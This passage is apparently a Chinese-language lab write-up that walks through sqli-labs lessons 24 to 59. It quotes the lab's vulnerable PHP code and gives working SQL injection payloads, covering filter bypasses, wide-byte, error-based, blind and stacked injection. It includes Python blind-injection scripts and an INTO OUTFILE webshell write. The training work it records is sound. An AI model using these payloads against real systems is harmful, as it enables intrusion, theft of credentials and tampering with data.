$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";

}
else
{
header('Location: failed.php');
}
}
else
{
header('refresh:2, url=index.php');
}
?>

$username这里没有任何过滤,直接读取了session中的username

而在查询语句中,直接对其进行了拼接

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

这里导致了攻击payload生效,可以重置任意用户的密码。

攻击流程

当我们注册用户名字为admin'#时,经过mysql_escape_string()的转义会变成admin\'#,当admin\'#被插入数据库时,数据库会自动将转义后的语句还原,从而被还原成了admin'#,在login.php中会将username赋值给session,而在pass_change.php中,直接从session中读取了username,并带入了sql语句

1
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass';

从而导致真正重置掉的是admin的密码。

实际操作

在注册页面注册名为Dumb'#的用户

1569682071722

注册成功后可以看到Dumb'#的用户已经插入到数据库中,此时Dumb用户的密码为0

1569682154543

在登陆页面进行登陆

1569682188367

成功后,在后台页面修改密码

1569682235978

这里修改的密码,实际上最后修改成功的是Dumb这个用户的密码

操作成功后,我我们查看数据库

1569682301399

此时Dumb的值已经被修改

我们使用修改过的密码登陆该用户

1569682353061

登陆成功

1569682364943

Less-25

1
2
3
4
5
6
7
8
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;
}
$id= blacklist($id);

这里进行了单次过滤,可以利用双写绕过。

1
http://localhost/sqli-labs/Less-25/?id=1' anandd 1=2 union select 1,group_concat(id,username,passwoorrd),3 from users%23

1569682966804

Less-26

1
2
3
4
5
6
7
8
9
10
11
12
13
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这个黑名单,过滤了很多东西,过滤了orand这两个可以使用双写绕过,过滤了/**/这个在mysql中可以解析为空格,过滤了--#注释符,导致我们没有办法屏蔽掉后面的语句只能想办法拼接,[\s]过滤了空格,[\/\\\\]过滤了斜杠和反斜杠。

对于这样的过滤,我们可以采用联合查询、报错注入、基于时间的盲注来进行注入。

在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,所以我们这里需要使用linux来进行搭建

联合查询

因为这里过滤了空格,也过滤了/**/所以,我们需要能够被当作空格解析执行,并且没有被过滤掉的url编码来进行注入,这里可以写一个测试脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#coding=utf-8
import requests

def decToHex(num):
hexStr = hex(num).replace("0x","")
if len(hexStr)<2:
hexStr = '0' + hexStr
return "%" + hexStr

for num in range(256):
hexStr = decToHex(num)
url = "http://localhost/sqli-labs/Less-26/?id=1'{0}%26%26{0}'1'='1".format(hexStr)
ret = requests.get(url).text
if "Dumb" in ret:
print("Success,[+]:",hexStr)

这是测试成功的结果

1569754661270

现在我们可以利用测试成功的结果开始构造payload了

查询数据库名

1
http://localhost/sqli-labs/Less-26/?id=0'%a0union%a0select%a02,database(),4%a0%26%26%a0'1'='1

1569754693979

查询数据表名

1
http://localhost/sqli-labs/Less-26/?id=0'%a0union%a0select%a02,group_concat(table_name),4%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0%26%26%a0'1'='1

1569755185509

查询字段名

1
http://localhost/sqli-labs/Less-26/?id=0'%a0union%a0select%a02,group_concat(column_name),4%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema=database()%26%26table_name='users'%a0%26%26%a0'1'='1

1569755242956

查询数据

1
http://localhost/sqli-labs/Less-26/?id=0'%a0union%a0select%a02,(select%a0group_concat(id,username,passwoorrd)%a0from%a0users),4%a0%26%26%a0'1'='1

1569755509836

报错注入

我们使用updatexml()来进行报错注入,因为这个函数在注入过程中空格可以使用小括号和运算符代替

数据库名

1
http://localhost/sqli-labs/Less-26/?id=0'||updatexml(1,concat('~',(database())),0)%26%26'1'='1

表名

1
http://localhost/sqli-labs/Less-26/?id=0'||updatexml(1,concat('~',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),0)%26%26'1'='1

1569756263899

列名

1
http://localhost/sqli-labs/Less-26/?id=0'||updatexml(1,concat('~',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database()%26%26table_name='users'))),0)%26%26'1'='1

1569756349210

数据

1
http://localhost/sqli-labs/Less-26/?id=0'||updatexml(1,concat('~',(select(group_concat(id,'~',username,'~',passwoorrd))from(users)where(username)='admin')),0)||'1'='1

1569756526964

基于布尔的盲注

盲注,如果过滤了,则可以使用下面的语法

1
mid(string,start,length) = mid(string from start for length)

猜解数据长度

1
http://localhost/sqli-labs/Less-26/?id=1'%26%26length(substr((select(group_concat(id,username,passwoorrd))from(users)),1))>1||'1'='

猜解数据

1
http://localhost/sqli-labs/Less-26/?id=1'%26%26ascii(substr((select(group_concat(id,username,passwoorrd))from(users)),1,1))>30||'1'='

Less-27

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}

正则表达式中的/s标识匹配任何空白字符,包括空格、制表符、换页符等等,/m表示(多行查找)

这里过滤稍作了更该,我们根据规则进行绕过即可

payload

1
http://localhost/sqli-labs/Less-27/?id=999'%0auniunionon%0aselseselectlectect%0a1,(selsselectelectect%0agroup_concat(id,username,password)%0afrom%0ausers),3%0aor '1'='1

1569760862744

Less-28

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}

这里及使用了正则/union\s+select/i/i是不区分大小写,我们可以使用unionunion selectselect去绕过

sql语句也发生了小的改变,我们可以左右闭合

1
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

根据黑名单构造payload即可

1
http://localhost/sqli-labs/Less-28/?id=999')%0aunion%0aunion%0aselectselect%0a1,(select%0agroup_concat(id,username,password)%0afrom%0ausers),3%0a or ('1'='1

1569762392006

Less-29

index.php

???没有任何过滤

1
http://localhost/sqli-labs/Less-29/?id=1' and 1=2 union select 1,(select group_concat(id,username,password)from users),3%23

1569762538849

重点在login.php

看一下主要逻辑

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if(isset($_GET['id']))
{
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else
{
print_r(mysql_error());
}
}

可以看到这里对url注入的参数进行了java_implimentation函数的解析,然后使用whitelist对其进行判断,而对于真正带入sql语句查询的$id则是没有进行任何过滤。

login.php java_implimentation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function java_implimentation($query_string)//这个只截id参数的value
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);//获得参数数据

foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);//截取value前两个字符,如果等于id
if($val=="id")
{
$id_value=substr($value,3,30); //就截取3~30位,27个字符
return $id_value;//返回数值
echo "<br>";
break;
}
}
}

这里利用点在于,$qs_array= explode("&",$q_s);根据字符&进行分组,然后后续foreach循环中,获取到第一个开头为id的数组时返回数据。

继续向下看login.php whitelist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function whitelist($input)//
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}

这个函数主要是看它的正则/^\d+$/

/^,匹配 ^ 字符本身。

\d+, 匹配一个或多个数字字符

$/,匹配输入字符串的结尾位置

整体的意思为,匹配 以数字开头的一个或多个数字且以数字结尾的字符串。

也就是我们要通过它的规则才能够正常进行注入,否则的话,会打开hackd.php页面

根据java_implimentation函数的特性我们构造如下payload

1
http://localhost/sqli-labs/less-29/login.php?id=1&id=2' and 1=2 union select 1,(select group_concat(id,username,password)from(users)),3%23

1569832174245

Less-30

1
$id = '"' .$id. '"';

这里只是将sql语句的单引号变成了双引号,其他的和less-29没有区别

1
http://localhost/sqli-labs/less-30/login.php?id=1&id=1" and 1=2 union select 1,(select group_concat(id,username,password)from(users)),3 %23

1569832463246

Less-31

1
2
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

Less-31这里也只是sql语句发生了变动

同样稍微修改payload即可

1
http://localhost/sqli-labs/less-31/login.php?id=1&id=1") and 1=2 union select 1,(select group_concat(id,username,password)from(users)),3 %23

1569833017930

Less-32

测试输入id = 1'发现在下面自动加上了反斜杠

1569833128483

web页面并没有报错,猜测可能是宽字节注入

输入?id=1%df'时成功报错,判断为宽字节注入

1569833215648

构造payload

1
http://localhost/sqli-labs/less-32/?id=1%df' and 1=2 union select 1,(select group_concat(id,username,password)from(users)),3%23

1569833303284

查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash


return $string;
}

// take the variables
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

果然宽字节注入

Less-33

这里将原来自写的check_addslashes改成了addslashes,其他的没有改变,所以用原payload一样可以

1
2
3
4
5
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}

Less-34

1
2
3
4
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

POST版本的宽字节注入

1
uname=%df'or updatexml(1,concat(0x7e,(select group_concat(0x7e,id,username,password)from(users))),0)%23&passwd=bbb

1569835123748

Less-35

1
2
3
4
5
6
7
8
9
10
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

没有引号包裹的数字型注入,但是如果用不到引号之后这里的addslashes就形同虚设了。。。

1
http://localhost/sqli-labs/less-35/?id=1 and 1=2 union select 1,group_concat(id,username,password),3 from(users) %23

1569835896664

Less-36

1
2
3
4
5
6
7
8
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
$id=check_quotes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这里使用了mysql_real_escape_string函数

https://www.php.net/manual/zh/function.mysql-real-escape-string.php

查询php手册可以知道

mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集

mysql_real_escape_string() 调用mysql库的函数mysql_real_escape_string 在以下字符前添加反斜杠:

  • \x00
  • \n
  • \r,
  • \
  • '
  • "
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

仍然可以用宽字节注入,来进行正常注入

1
http://localhost/sqli-labs/less-36/?id=1%df' and 1=2 union select 1,(select(group_concat(id,username,password))from(users)),3%23

1569836717631

Less-37

查看代码

1
2
3
4
5
6
$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

是一个宽字节的POST注入,可以使用万能密码

1
uname=admin%df' or 1=1%23&passwd=

1569887583719

也使用报错注入读出来数据

1
uname=admin%df' or updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(users))),0)%23&passwd=

1569887811502

Less-38 Stacked injection

1
http://localhost/sqli-labs/less-38/?id=1' and 1=2 union select 1,(select(group_concat(id,username,password))from(users)),3%23

直接注入???

1569888112247

看了下sql注入天书原来考察点是堆叠查询

在 SQL 中,分号;用来表示一条 SQL 语句的结束。试想我们在;结束一个 SQL 语句后继续构造下一条语句,两条语句会不会一起执行?这个想法也就造就了堆叠注入。

Union Injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别?
区别就在于union或者union all执行的语句类型是有限的,可以用来执行查询语句,且在 MySQL 中返回的列数需要相等;而堆叠注入可以执行的是任意的语句

因为执行sql语句时使用了mysqli_multi_query()函数,才使我们能够使用堆叠查询。

mysqli_multi_query()作用:函数执行一个或多个针对数据库的查询,多个查询用分号进行分隔

1
http://localhost/sqli-labs/less-38/?id=1';insert into users values(20,'Stacked','Stacked')%23

查询数据库

1569891463061

可以看到后面的插入语句执行成功

当我们切换到Less-1,执行同样的语句

1569891540073

并不能成功执行,也就是说,只有当使用支持多条语句的sql语句执行函数(例如mysqli_multi_query())与数据库交互式,我们才可以使用堆叠注入。

Less-39 Stacked injection

这里同样使用了支持多条语句查询的函数,只是sql语句的拼接与之前略有不同

1
2
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))

稍微修改payload

1
http://localhost/sqli-labs/less-39/?id=1;insert into users values(100,'less39','less39')%23

查看数据库

1569891861510

Less-40 Stacked injection

这个文件不少,像是仿制了一个用户注册登陆修改密码的流程

index.php

1
2
3
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

这个与之前只是sql语句拼接稍做了修改,同样可以堆叠注入

其他的文件和Less-24的一样,有二次注入的利用点

直接根据sql语句堆叠注入插入即可

1
http://localhost/sqli-labs/less-40/?id=1');insert into users values(101,'less40','less40')%23

查看数据库

1569892563886

成功插入数据

Less-41 Stacked injection

1
2
3
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

同样的sql语句做了更改,支持堆叠查询

查看数据库

1569892746816

成功插入

Less-42 Stacked injection

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

// Check connection
if (mysqli_connect_errno($con1))
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
}


/* execute multi query */


$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))

在login.php页面中未对login_password进行转义,导致了漏洞的产生,因为mysqli_multi_query这里同样可以使用堆叠注入。

1
login_user=test&login_password=1';insert into users values(110,'less42','less42')%23

查看数据库

1569893436277

成功添加数据

Less-43 Stacked injection

Less-43与Less-42基本一致,只有sql语句拼接这里发生了一些小的变化

1
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

构造payload

1
login_user=test&login_password=1');insert into users values(111,'less43','less43')%23

查看数据表

1569893766926

成功插入数据

Less-44 Stacked injection

这里的sql语句和less42完全一样,区别在于没有报错语句

1
2
3
4
5
6
7
8
9
10
11
12
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if($row = @mysqli_fetch_row($result))
{
if ($row[1])
{
return $row[1];
}
else
{
return 0;
}
}

构成了盲注

可以使用同样的payload

1
login_user=test&login_password=1';insert into users values(111,'less43','less43')%23

查看数据库

1569895589260

这里还可以使用万能密码

1
login_user=test&login_password=1' or 1%23

成功登陆

1569895536153

Less-45 Stacked injection

这里和Less-43一致,就如同less44与less42一样是一个盲注,没有报错信息

构造payload插入数据

1
login_user=test&login_password=1');insert into users values(113,'less45','less45')%23

查看数据库

1569895725146

插入成功

Less-46 order by 后的注入

在order by 后的注入

1
$sql = "SELECT * FROM users ORDER BY $id";

order by 后的注入流程

判断注入

1
http://localhost/sqli-labs/less-46/?sort=1 asc
1
http://localhost/sqli-labs/less-46/?sort=1 desc

输入ascdesc查看有无变化,如果有变化说明存在注入,其中asc表示升序排列,desc表示降序排列

我们接下来可以使用报错注入来进行注入

1
http://localhost/sqli-labs/less-46/?sort=0 or updatexml(1,concat('~',(select(group_concat(id,username,password))from(users))),0)%23

1569911240212

基于时间的盲注

如果在后面直接and if(1=1,sleep(2),1),sleep的时间会是 2*数据集个数的时间,这里可以使用sleep(0.1)或者sleep(0.01)的方式,根据实际数据情况来考虑延时的时间。

构造payload

1
http://localhost/sqli-labs/less-46/?sort=0 or if(length(database())=8,sleep(0.1),1)%23

还可以利用rand()函数来进行布尔盲注

rand()是一个随机函数

rand(true)rand(flase)时,值是固定的

1569926349639

可以利用该特性进行构造payload

1
http://localhost/sqli-labs/less-46/?sort=rand(length(database())=8)%23

Less-47 order by 后的注入

这里相比less-46只是进行了sql语句拼接的修改

1
$sql = "SELECT * FROM users ORDER BY '$id'";

构造报错注入payload

1
http://localhost/sqli-labs/less-47/?sort=0' or updatexml(1,concat('~',(select(group_concat(id,username,password))from(users))),0)%23

1569919152049

Less-48 order by后的注入

这里在sql语句拼接做了修改的同时,取消了print_r(mysql_error());输出,导致了我们没有办法采用报错注入,只能使用盲注了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);
if ($result)
{
while ($row = mysql_fetch_assoc($result))
{
echo "<td>".$row['id']."</td>";
echo "<td>".$row['username']."</td>";
echo "<td>".$row['password']."</td>";
}
}
}
else
{
echo "Please input parameter as SORT with numeric value<br><br><br><br>";
echo "<br><br><br>";
echo '<img src="../images/Less-47.jpg" /><br>';
echo "Lesson Concept and code Idea by <b>D4rk</b>";
}
?>

使用基于布尔的盲注

这里直接放脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
url = "http://localhost/sqli-labs/Less-48/?sort="
trueString = """<tr><td>11</td><td>admin3</td><td>admin3</td></tr></font><font color= "#00FF11" size="3"><tr><td>5</td><td>stupid</td><td>stupidity</td></tr>"""
#判断数据库长度
dbLen = 0

while True:
dbLen += 1
req_url = url + "rand(length(database())={0})%23".format(str(dbLen))
print(req_url)
res = requests.get(req_url).text
if trueString in res:
break
print("database_lengh:",dbLen)

#猜解数据库名

db_name = ""
for i in range(dbLen):
for c in range(32,127):
req_url = url + "rand(ascii(substr((select database()),{0},1))={1})%23".format(str(i+1),str(c))
res = requests.get(req_url).text
print(req_url)
if trueString in res:
db_name += chr(c)
print(db_name)
break
print("database:",db_name)

1569920880677

Less-49 order by后的注入

这个同样是盲注,只是sql语句的拼接发生了变化

1
$sql = "SELECT * FROM users ORDER BY '$id'";

这里只能使用基于时间的盲注了,因为order by '' or band(true) 已经起不到作用了

并且order by 后面跟的 sleep()语句每条数据都会sleep()一次,这里同样选取合适的时间来进行注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#coding=utf8
import requests
import time

flag = ''
url = "http://localhost/sqli-labs/Less-49/?sort=0"

dbLen = 0
while True:
dbLen +=1
reqUrl = url +"' or if(length(database())={0},sleep(0.2),1)%23".format(dbLen)
print(reqUrl)
start_time = time.time()
res = requests.get(reqUrl)
end_time = time.time()
print(end_time - start_time)
if (end_time - start_time) > 2:
break;

print("dbLen",dbLen)



#猜解数据库名
for i in range(dbLen):
for c in range(32,127):
reqUrl = url +"' or if(ascii(mid((database()),{0},1))={1},sleep(0.2),1)%23".format(str(i+1),str(c))
print(reqUrl)
start_time = time.time()
res = requests.get(reqUrl)
end_time = time.time()
if (end_time - start_time) > 2:
flag += chr(c)
print(flag)
break;

print('data:',flag)

这里还可以使用outfile注入(需要权限支持),直接导出php一句话木马

1
http://localhost/sqli-labs/Less-49/?sort=0' into outfile '/var/www/html/shell.php' lines terminated by 0x(webshell的hex)

其中lines terminates by将每行以指定字符串结尾

Less-50 order by stacked injection

这里使用了mysqli_multi_query()函数,支持多条语句同时执行,所以直接堆叠注入,我们开始order by 后面的堆叠注入,这里可以使用报错注入来查询数据

1
http://localhost/sqli-labs/Less-50/?sort=1;insert into users values(115,'flag0','flag0')%23

可以看到数据被成功插入

1569930454686

Less-51 order by stacked injection

1
2
$sql="SELECT * FROM users ORDER BY '$id'";
if (mysqli_multi_query($con1, $sql))

less51与less50不同之处在于sql语句拼接,稍微修改payload即可

1
http://localhost/sqli-labs/Less-51/?sort=1';insert into users values(116,'flag0-less51','flag0')%23

1569930631701

插入成功

Less-52 order by stacked injection

这里去掉了print_r(mysqli_error($con1));,导致了我们不能使用报错注入,只可以使用盲注,其余的和less50是一样的,这里我们可以直接用less50的payload进行注入。

Less-53 order by stacked injection

这里同样是去掉了报错函数,sql语句拼接和Less-51一致,直接沿用Less-51的payload即可。

1
http://localhost/sqli-labs/Less-53/?sort=1';insert into users values(117,'flag0-less53','flag0')%23

1569931479448

Less-54

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
if(!isset($_POST['answer_key']))//未设置answer_key参数时
{
if(isset($_POST['reset']))//重置按钮被按下,将cookie设置为失效
{
setcookie('challenge', ' ', time() - 3600000);//cookie失效
echo "<font size=4>You have reset the Challenge</font><br>\n";
echo "Redirecting you to main challenge page..........\n";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
//echo "cookie expired";
}
else
{
if(isset($_COOKIE['challenge']))//如果challenge被设置
{
$sessid=$_COOKIE['challenge'];
}
else//否则设置challenge
{
$expire = time()+60*60*24*30;//当前时间+2592000
$hash = data($table,$col);//取出该列的第一个字段的数据
setcookie("challenge", $hash, $expire);//设置cookie
}
if(isset($_GET['id']))//id传参
{

//update the counter in database
next_tryy();//尝试次数+1

//Display attempts on screen.
$tryyy = view_attempts();//获取尝试次数
echo "You have made : ". $tryyy ." of $times attempts";

//Reset the Database if you exceed allowed attempts.
if($tryyy >= ($times+1))//如果尝试次数>10,则设置cookie失效
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
echo "Redirecting you to challenge page..........\n";
header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
echo "<br>\n";
}
// Querry DB to get the correct output//否则进行sql语句拼接查询
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";//sql语句拼接
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FFFF">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
// print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";
echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
}

}
}

else//对传入的key进行两次转义,对齐进行查询,来展示不同的页面
{
echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';
$key = addslashes($_POST['key']);//对key进行转义
$key = mysql_real_escape_string($key);//再次进行转义
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());
$row = mysql_fetch_array($result);
if($row)
{
//key正确后操作
}
else
{
//key错误后操作
}
}
?>

如果没有提交key值,则可以传入id参数进行sql查询,如果提交了key值到了else下面,则会判断key值是否正确,这次用的数据库换成了challenges,每次都会创建一个随机名的数据表和随机的key列名,你只有10次尝试机会,当10次机会结束之后,这个表就会被删除,重新创建,表名和列名也随之改变,获取到正确的key值提交即可过关。

下面进行攻击

获取数据库名

1
http://localhost/sqli-labs/less-54/?id=1' and 1=2 union select 1,database(),3%23

获取表名

1
http://localhost/sqli-labs/less-54/?id=1' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database()%23

1569981227704

这里的表名,在cookie周期内有效,下一个周期就会发生改变

获取列名

1
http://localhost/sqli-labs/less-54/?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='wab2jx4fci'%23

1569981358720

其中的secret_063c同样在下一个cookie周期会发生改变

获取key值

1
http://localhost/sqli-labs/less-54/?id=1' and 1=2 union select 1,group_concat(id,0x7e,sessid,0x7e,secret_063C,0x7e,tryy),3 from wab2jx4fci%23

1569981465235

提交key值即可过关

1569981516255

Less-55

1
2
$times= 14;
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

Less-55相比较Less-54 发生变化的地方在于,尝试次数变成了14次,sql语句拼接发生了变化

稍微修改攻击payload即可

获取表名

1
http://localhost/sqli-labs/less-55/?id=1) and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database()%23

获取列名

1
http://localhost/sqli-labs/less-55/?id=1) and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='k4zjl1xcqj'%23

获取key值

1
http://localhost/sqli-labs/less-55/?id=1) and 1=2 union select 1,group_concat(id,0x7e,sessid,0x7e,secret_Z0C2,0x7e,tryy),3 from k4zjl1xcqj%23

1569982565942

提交获取到的key值即可

Less-56

1
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

这里也是sql语句拼接发生了变化,修改即可

查询数据表名与列名

1
http://localhost/sqli-labs/less-56/?id=1') and 1=2 union select 1,(select table_name from information_schema.tables where table_schema=database()),(select column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() ) limit 2,1)%23

1569983390408

查询出数据提交key值即可

Less-57

1
2
$id= '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

Less-57sql数据库拼接使用了双引号,其余的和之前一样

查询数据表名和列名

1
http://localhost/sqli-labs/less-57/?id=1" and 1=2 union select 1,(select table_name from information_schema.tables where table_schema=database()),(select column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() ) limit 2,1)%23

1569983736299

Less-58

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$times= 5;
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FFFF">';
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo "<br>";
echo 'Your Password : ' .$pass[$row['id']];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}

这里的测试次数变成了5,sql语句拼接和Less-54是一样的,并且直接不显示查询出来的结果,而是利用查询返回的id作为索引从数组中读取,这里只能使用报错注入(因为限制了次数导致了我们没法使用盲注),这里限制次数变成了5次,我们通过修改语句,使其一次性注入出表名和列名

查询数据表名和列名

1
http://localhost/sqli-labs/less-58/?id=2' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database()),0x7e,(select column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() ) limit 2,1)),0) %23

1569985183435

查询key值

1
http://localhost/sqli-labs/less-58/?id=2' and updatexml(1,concat('~',(select secret_BNT9 from zr7dr1i8l1)),0) %23

1569985255015

Less-59

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
